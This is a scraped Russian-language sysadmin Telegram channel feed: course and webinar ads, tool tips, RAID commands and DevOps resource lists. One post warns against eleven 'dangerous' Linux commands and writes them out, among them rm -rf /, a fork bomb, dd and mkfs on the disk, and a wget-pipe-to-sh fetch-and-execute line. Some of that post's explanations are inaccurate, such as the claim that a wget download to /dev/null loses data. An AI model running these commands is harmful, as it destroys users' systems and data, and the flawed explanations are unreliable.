Системный администратор — возможность быстрого старта в IT
Именно системный администратор отвечает за стабильную работу IT-инфраструктуры, корпоративных сетей, ПО и оборудования. С трендом массовой цифровизации и автоматизации всё больше компаний нуждается в таких специалистах. За 2021 год зарплаты системных администраторов, DevOps- и системных инженеров выросли на 21%, а спрос на них вырос в 2 раза, по данным HeadHunter.
На бесплатном занятии Нетологии «Системный администратор: пути развития карьеры», вы:
• Узнаете, как стать системным администратором и какие у него есть перспективы развития
• Познакомитесь с профессиями DevOps- и сетевого инженера — одними из популярных направлений, в которых развиваются системные администраторы
• Разберётесь, какие навыки важны для успешного трудоустройства, и получите пошаговый план развития по каждой специальности
Записаться → https://netolo.gy/bvJlРеклама. ООО «Нетология»LatgBTJdv
11 опасных команд Linux, которые вы никогда не должны запускать rm -rf / - Эта команда удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные.
:(){ :|: & };: - Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы.
mkfs.ext4 /dev/sda - Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны.
dd if=/dev/random of=/dev/sda - Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных.
chmod 777 / - Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности.
mv /home/* /dev/null - Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны.
wget http://example.com/file -O /dev/null - Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных.
mkfs.ext4 /dev/sda1 - Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.
ln -s /dev/null /etc/passwd - Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.
echo "Hello" > /dev/sda - Перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».
wget http://malicious_source -O- | sh - Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
👉 @i_odmin
Как использовать инструмент автоматизации Vagrant?
🔥Приглашаем 11 апреля в 20:00 на бесплатный вебинар «Мини-лаборатория: Vagrant» в OTUS.На вебинаре мы узнаем:
- Как сделать тестовый стенд на своем локальном компьютере и какие компоненты для этого понадобится
- В чем разница между контейнеризацией и виртуализации
- Какие системы виртуализации и контейнеризации существуют
- Как использовать инструмент автоматизации Vagrant, в чем его особенности и принципы работы
👉 Регистрация на вебинар: https://otus.pw/MKtG/
Вебинар будет полезен пользователем и администраторам среднего и продвинутого уровня.
Реклама. Информация о рекламодателе на сайте www.otus.ru
CMatrix
Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью.
Установка
$ sudo apt-get install cmatrix # Linux
Включите асинхронную прокрутку:
cmatrix -a
Отображение красного текста:
cmatrix -C {{red}}
Включить режим радуги:
cmatrix -r
Установите задержку обновления экрана на 2 сантисекунды:
cmatrix -u {{2}}
Исходный код доступен на GitHub.
👉 @i_odmin
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных компьютерных деталей.
Подписывайтесь на канал 👉@tipsysdmin
DevOps meetup (Online)1. Хватит быть YAML-разработчиком. Переходи на сторону CUE - Александр Кириллов, Evrone
Расскажу о трудностях поддержки большого количества YAML-манифестов в Kubernetes и возможных решениях. Также рассмотрю работу с Kubernetes в контексте GitOps без использования Helm
2. Управление маршрутизацией приложений в компании Учи.ру - Виталий Гуцалюк, Учи.ру
В этом докладе мы рассмотрим необычные подходы к управлению раутингом веб-приложений, которые мы применяем в нашей компании
3. Использование Manual Continuous Delivery для повышения показателей эффективности Agile команды - Максим Руднёв, VIClouds
Обзор проблем эффективности процесса разработки в крупных компаниях, с подробным рассмотрением шагов, в которых возникают утечки производительности и рекомендации о том как и какой именно CI/CD внедрять для увеличения показателей эффективности..
➖➖➖
🗓 12 апреля, начало в 19:00 мск, Среда
🌐 ОНЛАЙН
📌Наш телеграмм канал с анонсами митапов!
✅Регистрация на мероприятие
OpenZFS
The final word in file systems (статья на Eng)
OpenZFS, возможно, сердце TrueNAS, - это файловая система с открытым исходным кодом и менеджер томов, основанный на ZFS от Sun/Oracle. Разработка ZFS началась в компании Sun Microsystems в 2001 году с целью полностью изменить подход системных администраторов к управлению системами хранения данных. Первоначальная команда разработчиков сформулировала несколько руководящих принципов, которые и сегодня определяют суть проекта: хранилище должно быть гибко пулируемым, всегда согласованным, самовосстанавливающимся и простым в управлении. Утверждение, что ZFS - это "последнее слово в файловых системах", взято из презентации, которую ее первоначальные создатели провели в 2008 году.
https://jro.io/truenas/openzfs/
👉 @i_odmin
💥Кафка — это будущее для всех, кто хочет работать с лучшим брокером сообщений. Kafka выступает “буфером” для нагрузки и позволяет добиться задержек доставки данных в несколько миллисекунд.
💯С каждым годом Kafka становится все более актуальной технологией, а специалисты со знанием Kafka все более востребованными. И задачи, с которыми они сталкиваются, очень разнообразны.
👉Одна из таких — работа с Apache Kafka в приложениях на Spring Boot.
📍Эту задачу разберем на открытом уроке 13 апреля в 20:00 мск в OTUS вместе с сертифицированным Java-разработчиком, Сергеем Петрелевичем. Занятие пройдет в рамках онлайн-курса «Apache Kafka» в OTUS.
💬Что вас ждет на занятии?
— Рассмотрим, как в приложениях на Spring Boot можно работать с Kafka.
— Узнаем, что предоставляет платформа Spring для ускоренной разработки приложений, работающих с Kafka.
— Посмотрим, какие есть настройки и как это все конфигурируется.
— Проведем границу между «родным функционалом» Kafka API и «добавками» от Spring Boot.
🚀Вебинар — это отличный способ провести вечер и расширить свои знания. А продолжить занятия и вырасти в профессии вы сможете на курсе. Главное — успеть, пока он доступен в рассрочку.
👉Чтобы присоединиться, пройдите вступительный тест https://otus.pw/uAy8/Реклама. Информация о рекламодателе на сайте otus.ru
Написал свой сервис для удаленного управления компьютерами
Я работал админом около 12 лет, за всё время для целей администрирования пользовался почти всеми известными программами для удаленного доступа, сначала TeamViewer - после внедрения их политики лицензирования и обновления, мягко говоря неудобной и жуткой дорогой (около 30 т.р. в год), пересел на AnyDesk — который был чуть хуже в плане функционала, но более терпим в плане использования, и немного меньшей ценой — около 20 т.р. за год. Но душа всё-таки не была довольна, не хватало многих функций, автоматизации, да и порой было неудобно/лень договариваться о подключении с пользователем, что бы выполнить пустяковое действие. И так пришла на ум идея создать инструмент от админа админу, что бы и интерфейс устраивал, но не был перенасыщен, и разобраться мог любой человек более менее владеющий компьютером.
Ну и конечно санкции и новая их угроза послужила мотивом, зарубежные сервисы постепенно продавливаются или сами разделяют повестку ущемления обычных людей и к сожалению блокируют доступ к своим ресурсам. Хотя по моему мнению, IT компании как наука и спорт должны быть вне политики, не важно на какой стороне твой пользователь.
И вот буквально на днях я закончил писать бета версию, залив её в продакшн, в которой реализовал базовые функции, достаточные для закрытия определенного процента потребностей:
https://habr.com/ru/post/720186/
👉 @i_odmin
Российский разработчик TrueConf примет участие в форуме AV Focus 2023
5 апреля в Санкт-Петербурге состоится 16-й профессиональный форум для AV- и ИТ-специалистов — AV Focus 2023. На мероприятии будут представлены передовые решения из индустрии мультимедиа и практики использования ИТ-решений в бизнесе, образовании и культуре.
TrueConf приглашает всех ИТ-специалистов к своему стенду в зоне С — по специальному промокоду GUESTTRUECONF23 можно посетить мероприятие бесплатно.
На форуме выступит директор по маркетингу TrueConf Лев Якупов. Эксперт расскажет:
🔹о ключевых возможностях ВКС-платформы TrueConf Server и замещении зарубежных сервисов для видеоконференцсвязи
🔹о кейсах развёртывания ВКС-решений TrueConf в крупнейших отечественных организациях
🔹 о преимуществах настольных приложений TrueConf с мессенджером и искусственным интеллектом для госсектора и бизнеса
🕙 Когда: 5 апреля 2023 в 09:00
📍 Где: Санкт-Петербург, Конгресс-центр «ПетроКонгресс», ул. Лодейнопольская, 5
📌 Онлайн-трансляция будет доступна по ссылке:www.youtube.com/live/NF…cHzxFKqM
Подборка часто используемых инструментов удаленного подключения 1. Xshell
Xshell - это очень мощное программное обеспечение для эмуляции защищенного терминала, которое поддерживает SSH1, SSH2 и протокол TELNET платформы Windows. Xshell можно использовать в интерфейсе Windows для доступа к удаленным серверам на различных системах, тем самым лучше достигая цели терминала удаленного управления.
https://www.xshell.com/en/xshell/2. SecureCRT
SecureCRT - это мощное программное обеспечение для эмуляции защищенного терминала, которое может помочь пользователям более безопасно подключаться к удаленным серверам, а также может быть использовано для реализации функций удаленного управления сервером и передачи файлов. SecureCRT поддерживает протоколы SSH1, SSH2, Telnet, Rlogin, Serial и SSL/TLS, которые могут быть использованы для подключения к различным удаленным терминалам, что позволяет удовлетворить различные потребности пользователей.
https://www.vandyke.com3. WinSCP
WinSCP - это графический клиент SFTP с открытым исходным кодом, который использует SSH в среде Windows. Он также поддерживает протокол SCP. Его основная функция - безопасное копирование и передача файлов между локальным и удаленным компьютерами.
https://winscp.net/4. PuTTY
Putty - это легкий клиент SSH и Telnet, который может помочь пользователям подключиться к удаленным серверам, а также поддерживает протокол шифрования аутентификации SSH-2, что может сделать доступ пользователей к сети более безопасным. Putty также поддерживает протокол SSH на платформе Windows, что позволяет пользователям лучше контролировать удаленные серверы.
https://putty.org/5. MobaXterm
MobaXterm предоставляет комплексные возможности, почти все важные удаленные сетевые инструменты (такие как SSH, X11, RDP, VNC, FTP, MOSH и т.д.), а также команды Unix на рабочем столе Windows (bash, ls, cat, sed, grep, awk, rsync и т.д.), и автоматически открывает режим sftp после входа в систему.
https://mobaxterm.mobatek.net/6. Tabby
Tabby - это современный инструмент терминального подключения, с открытым исходным кодом и кроссплатформенный, поддерживающий системы Windows, MacOS и Linux. Tabby имеет более 20k+ Star на Github, что говорит о том, что это очень популярный терминальный инструмент!
https://tabby.sh/
👉 @i_odmin
Установка Ubuntu 20.04 в RAID 1. Настройка и восстановление RAID массива
Настройка Software RAID при установке Ubuntu Server 20.04.
Комманды в видео:
cat /proc/mdstat | Просмотр состояния RAID
fdisk -l | Простомотр дисков и разделов
mdadm --add /dev/md1 /dev/sda2 | Добавление разделов (partition) в RAID
sfdisk -d /dev/sda | sfdisk /dev/sdb | Клонирование разделов с диска sda на sdb
grub-install /dev/sdb | Установка загрузчика на новый диск sdb
👉 @i_odmin
⚡️ Пройдите тест по Kubernetes и проверь свои знания!
Пройдите тест, насколько вы готовы к обучению на курсе — «Инфраструктурная платформа на основе Kubernetes». Курс доступен в рассрочку!На курсе вы пройдете весь путь разработки инфраструктурной платформы на основе Kubernetes и получите все необходимые навыки, которые позволят вам вырасти до платформенного инженера.
👉 ПРОЙТИ ТЕСТ - https://otus.pw/EMpb/
🎁 Пройдете успешно тест - получите доступ к 2 открытым урокам курса!Реклама. Информация о рекламодателе на сайте www.otus.ru
Анализируйте статистику и визуализируйте её с помощью удобного компонента для мониторинга — Grafana!
Компании любых размеров используют Grafana для мониторинга ✔️
Связка Grafana и Prometheus позволяет в режиме реального времени выявить проблемы в IT-инфраструктуре, а также оценить тренды использования ресурсов.
Именно с Grafana можно по-настоящему раскрыть потенциал Prometheus как системы мониторинга, работая с широким спектром источников данных.
С помощью Grafana вы:
✅Сможете отслеживать нужные метрики узлов кластера, а также создавать дашборды с панелями, каждая из которых отображает определенные показатели в течение установленного периода времени;
✅Поработаете с десятком разнообразных баз данных;
✅Визуально отобразите все возможные циклические метрики;
✅Оперативно отследите изменения в инфраструктуре с помощью статистики;
✅Сможете конфигурировать любой набор произвольных метрик;
✅Выстроите даже самые сложные панели мониторинга с помощью интерактивных запросов.
27 апреля стартует курс Слёрма — Мониторинг в Grafana.
Поработаете на нём со связкой Prometheus+Grafana, научитесь разбираться в работе системы и читать созданные графики.
Что будет в программе курса?
▫️Рассмотрим разные подходы к мониторингу. Blackbox & Whitebox, 4 golden signals, RED, USE;
▫️Выясним особенности установки и настройки Grafana, Prometheus & Alertmanager;
▫️Остановимся на специфике работы Prometheus, изучим модель данных и типы метрик;
▫️Создадим собственный дэшборд в Grafana, а также откроем все хаки и секреты по работе с сервисом;
▫️Потестируем алертинг в Grafana и Prometheus.
И многое другое!
Регистрируйтесь на курс по ссылке:http://slurm.club/3TWOCW5
Пять GitHub проектов, которые помогут вам стать лучшим инженером DevOps1. How they SRE
Подборка общедоступных ресурсов о том, как технологические и технически подкованные организации по всему миру практикуют Site Reliability Engineering (SRE).
https://github.com/upgundecha/howtheysre2. Awesome Scalability
Паттерны масштабируемых, надежных и производительных крупномасштабных систем
github.com/binhngu…lability3. DevOps Exercises
Linux, Jenkins, AWS, SRE, Prometheus, Docker, Python, Ansible, Git, Kubernetes, Terraform, OpenStack, SQL, NoSQL, Azure, GCP, DNS, Elastic, Network, Virtualization. Вопросы для интервью по DevOps
https://github.com/bregman-arie/devops-exercises4. Test your sysadmin skills
Сборник тестовых вопросов и ответов по Linux Sysadmin. Проверьте свои знания и навыки в различных областях с помощью этих вопросов и ответов.
github.com/trimstr…n-skills5. Awesome Site Reliability Engineering
Составленный список ресурсов по надежности сайта и производственному инжинирингу.
https://github.com/dastergon/awesome-sre
#devops #девопс
Подпишись 👉@i_DevOps
Открытые практикумы DevOps, Linux, Networks и Golang by Rebrain: расписание на апрель 2023
Мы проводим бесплатные практикумы на всевозможные IT темы. Основное — Kubernetes, Docker, Ansible, Gitlab CI, Linux, Kafka , MySQL, Golang и др. Работаем в консоли, разбираем реальные кейсы на практике. Анонсы публикуем на нашем канале в Telegram
👉Подключайтесь
🗓4 апреля DevOps: Проверка состояния работоспособности сервисов с помощью haproxy (Александр Крылов - Lead DevOps В ПАО СК Росгосстрах)
🗓5 апреля Linux: ZFS (Андрей Буранов - Специалист по UNIX-системам в компании VK)
🗓6 апреля Golang: Перекладываем JSON без рутины (Павел Грязнов - Go Senior Developer)
🗓11 апреля DevOps: Запускаем MySQL, Percona Server и MariaDB с помощью Docker (Николай Лавинский - Технический директор в ООО “Метод Лаб”)
🗓12 апреля Linux: Установка Linux Ubuntu (Андрей Буранов - Специалист по UNIX-системам в компании VK)
🗓13 апреля Networks: Сегментация сети без разделения на подсети (Ольга Яновская - Руководитель направления Networks by Rebrain, разработчик в Pyzzle.ISP)
🗓18 апреля DevOps: REBRAIN & Selectel ELK: как собрать логи в одном месте (Николай Лешев - DevOps в Selectel)
🗓19 апреля Linux: ФСТЭК для Linux. Часть 1 (Андрей Буранов - Специалист по UNIX-системам в компании VK)
🗓20 апреля Golang: Профилирование Golang (Сергей Парамошкин - Технический менеджер Яндекс.Поиск)
🗓26 апреля Linux: Механизмы отказоустойчивости в Linux (Даниил Батурин - Основатель проекта VyOS)
🗓27 апреля Networks: Контейнеры и сети (Роман Стельмах - Cетевой инженер - Cisco, Huawei, HP)
Бесплатные практикумы по DevOps, Linux, Networks и Golang от REBRAIN каждую неделю.Подключайтесь!